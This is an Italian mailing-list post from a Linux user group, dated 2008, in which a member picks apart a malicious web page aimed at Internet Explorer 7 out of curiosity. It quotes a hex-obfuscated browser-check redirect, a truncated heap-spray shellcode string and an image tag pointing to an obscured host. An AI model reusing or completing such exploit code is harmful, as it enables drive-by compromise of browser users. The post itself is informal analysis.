linux user group brescia

On Fri, Dec 19, 2008 at 08:25:42AM +0100, pierpaolo palazzoli wrote:
> Come mai transi virus ?
> 
> Lo fai per diletto o ti serviva a qualcosa ?

Beh, mi incuriosiva vedere cosa c'era in quell'html, temo di
avere lo spirito dell'"hacker" (nonostante l'eta').
Comunque se sei curioso, ie7.htm inizia cosi':

<script language="javascript">
if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69\x65 \x37")==-1)
location.replace("\x74\x74\x2E\x68\x74\x6D");

(qui un "man ascii" viene spontaneo), ma la parte "centrale" e' piu'
avanti:

<script>var a1="%u";spray(a1+"9090"+a1+"%u9090%u9090%uE1D9%u34D9%u5824%u5858%u3358
%uB3DB%u031C%u31C3%u66C9%uE981%uFA65%u3080%u4021%uFAE2%u17C9%u2122%u4921%u0121%u2121
%u214B%uF1DE%u2198%u2131%uAA21%uCAD9%u7F24%u85D2%uF1DE%uD7C9%uDEDE%uC9DE%u221C[...]
(va avanti per circa 5000 caratteri) e finisce con:
%u2121%u2121%u2121%u2121%u0021");</script>

Infine la chicca finale e':

<image SRC=http://rਊrsa.sa.com src=http://www.google.com]]>

ho perso un po' di tempo per capire che host e' "...sa.sa.com", mi sa pero'
che l'hanno ripulito.

Domanda: hai una connessione "speedy"?